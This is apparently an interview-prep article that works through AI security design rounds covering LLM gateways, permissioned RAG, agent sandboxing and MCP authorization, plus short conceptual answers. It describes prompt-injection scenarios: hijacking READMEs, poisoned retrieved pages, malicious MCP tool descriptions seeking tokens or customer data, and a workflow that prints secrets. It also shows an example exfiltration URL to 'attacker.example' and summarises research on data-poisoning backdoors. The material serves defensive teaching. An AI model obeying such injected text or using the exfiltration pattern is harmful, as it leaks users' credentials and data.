# AI security interview questions and answers, worked as design rounds

Source: https://www.techinterview.org/post/3233477871/ai-security-interview-questions/
Updated: 2026-11-05 · techinterview.org

AI and LLM security interviews are mostly design rounds. You get an LLM feature and are asked what still holds once the model is talked into something. Pass by treating the model as an untrusted component and putting the real controls (identity, authorization, sandboxing, egress) outside it. Below, four rounds are worked as a candidate would answer them: an LLM gateway, permissioned RAG, an agent sandbox and MCP authorization, each mapped to OWASP 2026 risk IDs.

Anthropic's job post for its application security team describes the attack surface in one line: "multi-agent orchestration, sandboxed code execution, agents holding delegated credentials, untrusted tool output crossing trust boundaries." That line is the syllabus. Most of it is ordinary security work applied to a component that follows instructions from anyone who gets text in front of it.

Conceptual questions catch anyone who proposes a filter as a boundary; design rounds decide the loop. Prompt injection threads through every round but has its own page of [prompt injection interview questions](https://www.techinterview.org/post/3233477256/prompt-injection-llm-security-interview-questions/).

## Who asks AI security interview questions

Frontier labs ask first. Anthropic's [Staff+ Application Security Engineer post](https://job-boards.greenhouse.io/anthropic/jobs/4502508008) says the team hires engineers who "ship production systems and clear a hands-on threat-modeling bar." OpenAI's [Security Engineer, Agent Security](https://jobs.ashbyhq.com/openai/e9bea775-7eb6-438a-ab96-27d5f941e69d) role asks for identity, network and runtime defenses for agents, naming sandboxing and policy enforcement.

Beyond the labs, CyberSN's [2026 jobs report](https://cybersn.com/resources/reports/cybersecurity-jobs-report) counted 2,409 US "AI Security Engineer" postings from January to September 2026, up 268.3% year over year, while all US cybersecurity postings fell 26.4%. Those are deduplicated ads, not hires, and CyberSN doesn't publish its query, so some of the jump is renaming.

"AI security architect" roles use the same rounds at a wider scope: the shared gateway, agent identity model and tool registry that every product team builds on. AI red teaming roles test the attacker side of the same material.

None of these employers publishes its AI security questions, and I found no verified first-hand reports of any. The rounds below are built from the job posts and frameworks, not leaked loops. Company-specific processes are in the [security engineer interview guides](https://www.techinterview.org/security-engineer-interview-guides/).

## The framework versions to cite in 2026

The [OWASP Top 10 for LLM Applications 2026](https://genai.owasp.org/resource/owasp-genai-llm-top-10-2026/) came out in August 2026, and many prep pages still quote the 2025 list. Old IDs make you sound a year behind.

| OWASP LLM Top 10 2026 ID and risk | Same risk in the 2025 list |
| --- | --- |
| LLM01 Prompt Injection | LLM01 (now includes cross-modal injection) |
| LLM02 Sensitive Information Disclosure | LLM02 |
| LLM03 Excessive Agency | LLM06 |
| LLM04 Supply Chain | LLM03 |
| LLM05 Data and Model Poisoning | LLM04 |
| LLM06 Unbounded Consumption | LLM10 |
| LLM07 Misinformation | LLM09 |
| LLM08 Hidden Context Exposure | LLM07 System Prompt Leakage, renamed and broadened |
| LLM09 Vector and Embedding Weaknesses | LLM08 |
| LLM10 Improper Output Handling | LLM05 |

Once the model has tools and memory, OWASP moves the risk to the [OWASP Top 10 for Agentic Applications](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) (December 9, 2025): ASI01 Agent Goal Hijack, ASI02 Tool Misuse and Exploitation, ASI03 Identity and Privilege Abuse, ASI04 Agentic Supply Chain Vulnerabilities, ASI05 Unexpected Code Execution, ASI06 Memory and Context Poisoning, ASI07 Insecure Inter-Agent Communication, ASI08 Cascading Failures, ASI09 Human-Agent Trust Exploitation and ASI10 Rogue Agents.

[MITRE ATLAS](https://atlas.mitre.org/) is the attacker-side counterpart, versioned monthly; v2026.10 (October 28, 2026) has 16 tactics and 129 techniques. Know AML.T0051 LLM Prompt Injection, AML.T0054 LLM Jailbreak, AML.T0070 RAG Poisoning, AML.T0110 AI Agent Tool Poisoning and AML.T0086 Exfiltration via AI Agent Tool Invocation. [NIST AI 100-2 E2025](https://csrc.nist.gov/pubs/ai/100/2/e2025/final) (March 2025) supplies the adversarial ML vocabulary (evasion, poisoning, privacy attacks). Name an ID once, then talk about controls.

## The four AI security design rounds at a glance

| AI security design round | The control that carries the answer | Risk IDs (OWASP LLM 2026, OWASP Agentic 2026, MITRE ATLAS) |
| --- | --- | --- |
| LLM gateway in front of several model providers | Only the gateway holds provider keys; team keys are tied to workload identity, with budgets and data-class routing | LLM02, LLM06, LLM10 |
| RAG over permissioned documents | Per-chunk ACLs enforced inside the vector query from the user's live group membership | LLM01, LLM02, LLM09; AML.T0070 |
| Agent sandbox for tool use and code execution | Ephemeral microVM per task, credentials held by proxies outside it, default-deny egress | ASI02, ASI03, ASI05; AML.T0086 |
| MCP authorization | Audience-bound tokens, per-tool scopes checked per call, pinned tool definitions | ASI02, ASI03, ASI04; AML.T0110 |

## Round one: an LLM gateway in front of three model providers

The prompt: "Forty teams call OpenAI, Anthropic and a self-hosted open-weights model directly, each with its own API key. Design the gateway they all go through instead."

Ask which data classes pass through and which providers may see each one, whether callers include agents acting for users, and whether teams share the self-hosted model. The first answer turns a proxy into a policy engine. The assets are the provider keys, the prompts, and the gateway's own logs, which quietly become the company's largest store of sensitive prompts.

### Keys first, then budgets, routing and logs

Key sprawl goes first. Provider keys live in a secrets manager that only the gateway reads. Each team's revocable gateway key is bound to its workload identity (mTLS or a platform OIDC token) and its allowed models, data classes and budget, so a key copied off the platform fails.

Unbounded consumption (LLM06) is a security problem here, because a leaked key or a looping agent burns budget at machine speed. Put per-identity token budgets, a max_tokens ceiling and a token-aware [rate limiter design](https://www.techinterview.org/post/3233474159/system-design-rate-limiter-token-bucket-sliding-window-leaky-bucket-distributed-rate-limiting-api-gateway/) at the gateway, and alert on spend velocity.

Data routing handles Sensitive Information Disclosure (LLM02). Each request carries a data class from the caller's registration, not a regex guess, and restricted data goes only to the self-hosted model or zero-retention providers. Inline redaction is a lossy backstop, never the policy. On the shared self-hosted model, OWASP's LLM02 entry names KV-cache leakage between tenants, so sensitive tenants get partitioned prefix caches.

Logging is the trap: log metadata by default, and keep prompt bodies only on opt-in, encrypted, with short retention. Model output stays untrusted (LLM10); the gateway can schema-check it, but the caller owns what it does next.

### Block the bypass, then survive the leaked-key probe

A gateway teams can route around is decorative, so block egress to provider APIs from everything except the gateway, and revoke every provider key the gateway doesn't hold. Availability is a separate problem: the gateway sits on every request path, so run it highly available across zones rather than failing open to direct calls.

A likely probe: "A team's gateway key gets pasted into a public repo. Walk me through the next hour." Answer with the blast radius you designed in: the key works only from that team's workload, so the pasted copy fails everywhere else, and the remaining risk is that workload being compromised. Rotate the key, pull logs for the exposure window, and the provider keys never move. Routing and quota mechanics are in the [LLM gateway low-level design](https://www.techinterview.org/post/3233471953/lld-llm-gateway/).

## Round two: RAG security, permissions, poisoning and leakage

The prompt: "Build an internal assistant that answers questions over Google Drive, Confluence and Slack for 8,000 employees."

Ask whether source permissions must be honored exactly (yes, but say it out loud), how fast a permission change must take effect, and whether the assistant can act or only answer.

### Authorize before retrieval, not after generation

The classic failure is an index built by a service account that reads everything, filtered on the finished answer. OWASP's 2026 list is blunt: "Cosine similarity does not respect ACLs. Authorize before retrieval, because post-generation filtering cannot undo a chunk already supplied to the model." Each chunk carries the principals allowed to read its source, captured at ingest. The vector query filters on the user's groups inside the search, and those groups come from the identity provider at query time, never from the client. ACLs attach to chunks, because a mostly public page can hold one confidential paragraph.

Perfect enforcement still serves whatever was overshared. OWASP's LLM02 entry names "oversharing upstream" as the first of two failures behind most incidents: unscoped drives and legacy permissions feed RAG "with sensitive data the model then retrieves as designed." A salary sheet shared with anyone in the company who has the link was obscure until indexing; now anyone can find it by asking. The fix, in OWASP's words, "is the data surface, not the model": audit broad shares before ingest, and leave org-wide link shares out of the index by default.

Staleness is the obvious follow-up. Sync ACL changes by event, not nightly, and for high-sensitivity sources re-check the final top-k against the source system before the chunks reach the model. That costs a few calls per query.

### Retrieval poisoning is a write-access problem

Anyone who can edit a page in the corpus can write into other people's answers. That's indirect prompt injection (LLM01) and RAG poisoning (AML.T0070). Tag sources with provenance and a trust tier, strip hidden text (zero-width characters, white-on-white) before embedding, and cite sources. The control that matters most: retrieved text never triggers a tool call without the user confirming it.

Store leakage gets missed: inversion attacks reconstruct text from embeddings, so OWASP warns that "an 'embeddings-only' backup is a source-document breach." Encrypt the vector store and classify it at the level of its most sensitive document. In a shared index, result counts and scores can reveal another tenant's documents even when every chunk is filtered (LLM09), so high-sensitivity tenants get separate indexes.

The hard probe is aggregation: a budget line, a hiring plan and diligence notes, each readable alone, together name an acquisition target, which OWASP's LLM02 entry counts as disclosure when policy prohibits the conclusion. There's no clean fix. Say so, and exclude labeled high-risk collections from cross-source synthesis. Chunking and embedding mechanics are in the [RAG pipeline design](https://www.techinterview.org/post/3233471954/lld-rag-pipeline/).

## Round three: agent sandboxing for tool use, code execution and egress

The prompt: "Our coding agent clones a customer's repo, runs pip install and the test suite, and opens a pull request. Design where it runs."

Ask whether customers share hosts, which credentials a task needs, and what it needs the internet for. Then assume the code is hostile and the agent is steerable. A README can carry instructions (ASI01), `pip install` runs arbitrary setup code by design (ASI05), and anything the agent can reach, an attacker who steers it can reach (ASI03). The attacker wants credentials, the cloud metadata endpoint, an open path out for the repo (AML.T0086), or the host.

### A microVM per task, with nothing worth stealing inside

Containers share the host kernel, so a kernel bug becomes a cross-tenant escape. For many customers' untrusted code, run each task in a Firecracker-style microVM or under gVisor and destroy it afterwards. A warm pool hides most of the startup cost.

Git credentials never enter the VM. Anthropic's [write-up of Claude Code's sandboxing](https://www.anthropic.com/research/claude-code-sandboxing) describes the pattern: the git client authenticates to a proxy outside the sandbox with a scoped credential, and the proxy checks that the push targets only the configured branch before attaching the real token. Branch protection on main, not the token, keeps the agent from merging. Block 169.254.169.254 at the network layer.

OWASP's ASI02 mitigations say to "enforce outbound allowlists and deny all non-approved network destinations," so all traffic leaves through an egress proxy. Package installs go to an internal pull-through mirror, which is also where you block typosquats. DNS resolves only through your resolver, since DNS is an exfiltration channel. Everything else is denied and logged, and those denials are your earliest sign of a hijacked task. Planned actions pass a policy check outside the model, which OWASP calls an "intent gate".

### When the agent needs the web to read docs

Expect "the agent needs the web to read library docs." Don't open egress; split the capability. Simon Willison's [lethal trifecta](https://simonwillison.net/2025/Jun/16/the-lethal-trifecta/) names the dangerous combination: private data, untrusted content, and a way to send data out. A browsing tool with no repo and no credentials can fetch docs, but only if you restrict what crosses the split. The hijacked agent chooses what gets fetched, so a free-text URL is itself the exfiltration: `attacker.example/?q=<secret>`. Let the agent pass a package name and version and nothing else, resolved against an allowlist of doc sites or an internal docs mirror.

A second probe: an injected instruction adds a CI workflow that prints secrets. GitHub withholds secrets only from `pull_request` workflows triggered from forks, so a branch pushed to the same repo gets them by default. Push the agent's work from a fork, or put secrets behind environments with required reviewers (required reviewers on private repos need GitHub Enterprise); the [threat modeling interview](https://www.techinterview.org/post/3233477868/threat-modeling-interview/) worked example makes the same environment move for a deploy pipeline. The non-security half is the [agent system design interview](https://www.techinterview.org/post/3233476823/agent-system-design-interview/).

## Round four: MCP authorization, tool descriptions, tool output and scopes

The prompt: "Internal agents get access to Jira, our deploy system and the customer database through MCP servers. Design the authorization."

Ask whether servers are remote (Streamable HTTP) or local (stdio); the spec's OAuth flow covers HTTP, while a stdio server takes credentials from its environment, a supply chain question (ASI04). Ask too whether the principal is the user, the agent, or both.

### Tokens bound to one server, and never forwarded

Under the current spec ([revision 2026-07-28](https://modelcontextprotocol.io/specification/2026-07-28/basic/authorization)), a protected MCP server is an OAuth 2.1 resource server. Clients must send an RFC 8707 resource parameter naming the server, and servers must check that the token was issued for them. The line worth quoting: servers "MUST NOT accept or transit any other tokens." The spec's [security best practices](https://modelcontextprotocol.io/docs/2026-07-28/tutorials/security/security_best_practices) give the reason: with token passthrough, the downstream API "may incorrectly trust the token as if it came from the MCP server."

So the Jira MCP server gets its own token from Jira's authorization server, which makes it what the spec calls an MCP proxy server, the case its confused deputy section covers. With one static client ID at Jira, a user's earlier consent can be replayed to send an authorization code to an attacker's redirect URI. Two MUSTs close it: per-client consent at the proxy before forwarding to Jira's authorization server, and exact string matching on the registered redirect_uri.

### Scopes per tool, checked on every call

Scope tools by blast radius: jira:read, jira:comment, deploy:staging, deploy:prod, customers:read. When a call needs more, the server returns a WWW-Authenticate challenge naming the scope, and the client steps up, with a human approving deploy:prod. Enforcement lives in the server on each call; hiding a tool from the list changes what the model sees and enforces nothing. The database server still applies row-level rules for the user the agent acts for, because customers:read shouldn't mean every customer. Log both identities on every call.

### Tool descriptions and tool output are untrusted input

The model reads tool descriptions as guidance, so a malicious server can steer the agent through them. OWASP files a server that's malicious at the source under ASI04, keeping ASI02 for a legitimate tool's interface tampered with at runtime; ATLAS calls it AML.T0110. The basics are in [what MCP interviews test beyond wiring up a tool server](https://www.techinterview.org/post/3233477288/mcp-interview-questions/). For authorization, keep an allowlisted server registry and pin tool definitions by content hash (ASI04's pinning mitigation), re-approving on any change, because a server can rewrite its descriptions after you said yes.

Tool output is the other half, since a ticket returned by jira:read can tell the agent to deploy. Per-tool scopes cap what that achieves, and once untrusted output is in context, write tools need confirmation. Expect the third-party probe: "A weather server's description tells the agent to pass it the deploy token." The model never holds the token; the MCP client attaches it per server, and audience binding makes it useless anywhere but the deploy server. The likelier leak is data, with the description asking the agent to copy customer records into the weather tool's arguments. The registry is the real control: a weather server should never share an agent with customers:read.

## Conceptual AI security questions, answered short

### Jailbreak versus prompt injection

A jailbreak attacks the model's safety training, and the user is the attacker. Prompt injection attacks the application: untrusted input overrides the developer's instructions, and the victim is usually the user. OWASP 2026 treats jailbreaking as a subset of prompt injection; ATLAS keeps them apart (AML.T0054, AML.T0051). Jailbreaks get fixed mostly in training; injection gets contained by your architecture.

### Model extraction

Querying a model enough to train a copy of its behavior; ATLAS v2026.10 files it as AML.T0005.001, Replicate Behavior from Model Outputs. Defenses are per-identity quotas, detecting systematic query patterns, and returning no more than the product needs (exposed logprobs make extraction cheaper).

### Data poisoning

Corrupting training, fine-tuning or retrieval data so the model learns an attacker-chosen behavior, often a backdoor tied to a trigger. Anthropic, the UK AI Security Institute and the Alan Turing Institute found that [as few as 250 malicious documents](https://www.anthropic.com/research/small-samples-poison) backdoored models from 600M to 13B parameters, regardless of size. The caveat: the backdoor was narrow (a trigger phrase that produces gibberish), which the authors call "unlikely to pose significant risks in frontier models," and whether the pattern holds for larger models or more harmful behaviors is unclear. Defenses are provenance on training data and evals that hunt for trigger behavior.

### Why output filtering isn't a security boundary

A boundary holds no matter what the attacker sends. An output filter is a probabilistic classifier the attacker can retry against until it misses, and the damage often lands before any output exists. Filters are detection. The boundaries are deterministic checks outside the model, such as per-call authorization and the egress policy. OWASP's LLM08 entry says the same about system prompts: design "under the assumption that hidden context is discoverable."

Practice the same habits first in rounds with no model in them: [secure code review](https://www.techinterview.org/post/3233477869/secure-code-review-interview/), and [security system design](https://www.techinterview.org/post/3233477870/security-system-design-interview/) worked end to end. The [system design interview guides](https://www.techinterview.org/system-design-interview-guides/) cover the plumbing these rounds assume. In an AI security round the model gets talked into something by minute ten. You're graded on how little that matters.